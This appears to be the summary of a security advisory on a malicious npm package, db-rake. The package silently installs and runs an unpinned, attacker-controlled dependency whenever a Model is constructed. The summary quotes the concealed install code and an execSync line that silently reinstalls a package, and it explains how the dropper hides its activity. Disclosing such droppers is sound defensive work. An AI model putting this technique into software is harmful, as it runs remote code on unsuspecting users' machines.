Summary
When a consumer imports db-rake and constructs any Model, the package's resetor() method silently runs npm install db-dx-connector (unpinned, no-save: true, loglevel: silent, no-warnings: true) via oubliette's syncApi, then requires the freshly-fetched module and invokes new DxDatabaseConnector({}).queryDBConnect(). The install primitive is concealed by aliasing the import as npm (const { syncApi: npm } = require("oubliette")) so call sites read as innocuous npm().install(...), and all output is suppressed. The fetched package is attacker-mutable (latest tag), unrelated to the README's stated purpose (an in-memory mobx-backed database), and undocumented. A commented-out adjacent block in dist/index.js shows the same technique templated against a different target package (clsx-js via execSync('npm uninstall clsx-js && npm install clsx-js', { stdio: 'ignore', windowsHide: true })), corroborating that the live db-dx-connector path is a deliberately engineered dropper rather than benign auto-recovery. Any code published to db-dx-connector at any future time will be executed in the consumer's process.
